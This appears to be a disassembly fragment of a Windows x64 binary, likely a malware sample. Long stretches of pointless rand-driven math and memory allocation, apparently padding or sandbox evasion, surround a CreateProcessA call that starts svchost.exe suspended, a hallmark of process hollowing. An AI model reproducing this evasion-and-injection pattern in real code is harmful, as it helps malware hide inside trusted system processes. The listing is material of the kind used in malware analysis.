sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0xb24]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7b0]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0xb24], 1
cmp dword [rbp + 0xb24], 0xb77
jle 0x140002a96
mov dword [rbp + 0xb24], 0
jmp 0x140002b8e
mov eax, dword [rbp + 0xb24]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7b0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xb24]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7a8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.floor
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0xb24], 1
cmp dword [rbp + 0xb24], 0xb77
jle 0x140002b3c
mov dword [rbp + 0xb18], 0x122
jmp 0x140002bad
sub dword [rbp + 0xb18], 1
cmp dword [rbp + 0xb18], 0xc
jg 0x140002ba6
mov ecx, 0x56f40
call sym.malloc
mov qword [rbp + 0x7a0], rax
mov ecx, 0x56f40
call sym.malloc
mov qword [rbp + 0x798], rax
mov ecx, 0x56f40
call sym.malloc
mov qword [rbp + 0x790], rax
mov dword [rbp + 0xb20], 0
jmp 0x140002cc9
mov dword [rbp + 0xb1c], 0
jmp 0x140002cb2
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0xb20]
cdqe
imul rcx, rax, 0x348
mov rax, qword [rbp + 0x7a0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0xb1c]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0xb20]
cdqe
imul rcx, rax, 0x348
mov rax, qword [rbp + 0x798]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0xb1c]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0xb1c], 1
cmp dword [rbp + 0xb1c], 0xd1
jle 0x140002c07
add dword [rbp + 0xb20], 1
cmp dword [rbp + 0xb20], 0x1a7
jle 0x140002bf8
mov dword [rbp + 0xb20], 0
jmp 0x140002d88
mov dword [rbp + 0xb1c], 0
jmp 0x140002d71
mov eax, dword [rbp + 0xb20]
cdqe
imul rdx, rax, 0x348
mov rax, qword [rbp + 0x7a0]
add rdx, rax
mov eax, dword [rbp + 0xb1c]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0xb20]
cdqe
imul rdx, rax, 0x348
mov rax, qword [rbp + 0x798]
add rdx, rax
mov eax, dword [rbp + 0xb1c]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0xb20]
cdqe
imul rdx, rax, 0x348
mov rax, qword [rbp + 0x790]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0xb1c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0xb1c], 1
cmp dword [rbp + 0xb1c], 0xd1
jle 0x140002cf4
add dword [rbp + 0xb20], 1
cmp dword [rbp + 0xb20], 0x1a7
jle 0x140002ce8
mov rax, qword [rbp + 0x7a0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x798]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x790]
mov rcx, rax
call sym.free
mov dword [rbp + 0xb14], 0x1a7c
mov dword [rbp + 0xb10], 0x1b08
jmp 0x14000300e
mov dword [rbp + 0xb08], 0x136
mov dword [rbp + 0xb0c], 0x136
jmp 0x140002e02
sub dword [rbp + 0xb08], 1
sub dword [rbp + 0xb0c], 1
cmp dword [rbp + 0xb0c], 0x14
jg 0x140002df4
mov eax, dword [rbp + 0xb14]
cmp eax, dword [rbp + 0xb10]
jle 0x140003007
sub dword [rbp + 0xb14], 1
mov ecx, 0x394
call sym.malloc
mov qword [rbp + 0x3e8], rax
mov dword [rbp + 0xb00], 0
mov dword [rbp + 0x3e4], 0
mov dword [rbp + 0xb04], 0
jmp 0x140002ea1
call sym.rand
mov edx, dword [rbp + 0xb04]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x3e8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0xb04], 1
cmp dword [rbp + 0xb04], 0xe4
jle 0x140002e55
mov dword [rbp + 0xb04], 0
jmp 0x140002ee2
mov eax, dword [rbp + 0xb04]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3e8]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0xb00], eax
add dword [rbp + 0xb04], 1
cmp dword [rbp + 0xb04], 0xe4
jle 0x140002eb9
mov rax, qword [rbp + 0x3e8]
mov rcx, rax
call sym.free
mov ecx, 0x5e0
call sym.malloc
mov qword [rbp + 0x3d8], rax
mov dword [rbp + 0xafc], 0
jmp 0x140002f58
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0xafc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3d8]
add rax, rdx
movsd xmm1, qword [0x14000c268]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0xafc], 1
cmp dword [rbp + 0xafc], 0xbb
jle 0x140002f1a
mov dword [rbp + 0xafc], 0
jmp 0x140002ff5
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0xafc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3d8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xafc]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x3d8]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.fmod
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0xafc], 1
cmp dword [rbp + 0xafc], 0xbb
jle 0x140002f73
jmp 0x14000300e
sub dword [rbp + 0xb10], 1
cmp dword [rbp + 0xb14], 0
jg 0x140002dde
mov rax, rbp
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp], 0x68
mov ecx, 0x67d8
call sym.malloc
mov qword [rbp + 0x788], rax
mov dword [rbp + 0xaf8], 0
jmp 0x140003093
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0xaf8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x788]
add rax, rdx
movsd xmm1, qword [0x14000c268]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0xaf8], 1
cmp dword [rbp + 0xaf8], 0xcfa
jle 0x140003055
mov dword [rbp + 0xaf8], 0
jmp 0x1400030fd
mov eax, dword [rbp + 0xaf8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x788]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xaf8]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x788]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0xaf8], 1
cmp dword [rbp + 0xaf8], 0xcfa
jle 0x1400030ab
mov dword [rbp + 0xaf4], 0xffffffff
mov dword [rbp + 0xaec], 0x82
mov dword [rbp + 0xaf0], 0x82
jmp 0x140003137
sub dword [rbp + 0xaec], 1
sub dword [rbp + 0xaf0], 1
cmp dword [rbp + 0xaf0], 0xa
jg 0x140003129
add dword [rbp + 0xaf4], 1
call sym.rand
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000c268]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.exp
movq rax, xmm0
mov qword [rbp + 0x780], rax
cmp dword [rbp + 0xaf4], 0x1734
jle 0x140003140
lea rax, [rbp + 0x380]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x380]
mov qword [rsp + 0x48], rax
mov rax, rbp
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rax, str.svchost.exe
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov dword [rbp + 0xae4], 0xffffffff
add dword [rbp + 0xae4], 1
call sym.rand
imul eax, eax, 0xab
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000c268]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp + 0x778], rax
cmp dword [rbp + 0xae4], 0xd0
jle 0x14000320d
mov ecx, 0xa880
call sym.malloc
mov qword [rbp + 0x770], rax
mov dword [rbp + 0xae8], 0
jmp 0x1400032c5
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000c268]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0xae8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x770]
add rax, rdx
movsd xmm1, qword [0x14000c280]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0xae8], 1
cmp dword [rbp + 0xae8], 0x150f
jle 0x140003277
mov dword [rbp + 0xae8], 0
jmp 0x14000332c
mov eax, dword [rbp + 0xae8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x770]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0xae8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x770]
add rax, rdx
movq xmm1, qword [0x14000c290]
andpd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0xae8], 1
cmp dword [rbp + 0xae8], 0x150f
jle 0x1400032dd
mov ecx, 0x10d2c0
call sym.malloc
mov qword [rbp + 0x768], rax
mov ecx, 0x10d2c0
call sym.malloc
mov qword [rbp + 0x760], rax
mov dword [rbp + 0xad8], 0xffffffff
mov ecx, 0x5c8
call sym.malloc
mov qword [rbp + 0x758], rax
add dword [rbp + 0xad8], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000c268]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0xad8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x758]
add rax, rdx
movsd xmm1, qword [0x14000c280]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0xad8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x758]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xad8]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x758]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0xad8], 0xb7
jle 0x140003375
mov ecx, 0x10d2c0
call sym.malloc
mov qword [rbp + 0x750], rax
mov dword [rbp + 0xae0], 0
jmp 0x1400036ca
mov ecx, 0x420
call sym.malloc
mov qword [rbp + 0x408], rax
mov ecx, 0x420
call sym.malloc
mov qword [rbp + 0x400], rax
mov ecx, 0x420
call sym.malloc
mov qword [rbp + 0x3f8], rax
mov ecx, 0x420
call sym.malloc
mov qword [rbp + 0x3f0], rax
mov dword [rbp + 0xad0], 0x107
mov dword [rbp + 0xad4], 0
jmp 0x1400035a7
cmp dword [rbp + 0xae0], 0x283
jle 0x14000343e
mov dword [rbp + 0xae0], 0
jmp 0x140003789
mov eax, 0
movups xmm6, xmmword [rbp + 0xba0]
add rsp, 0xc38
pop rbx
pop rsi
pop rdi
pop rbp
ret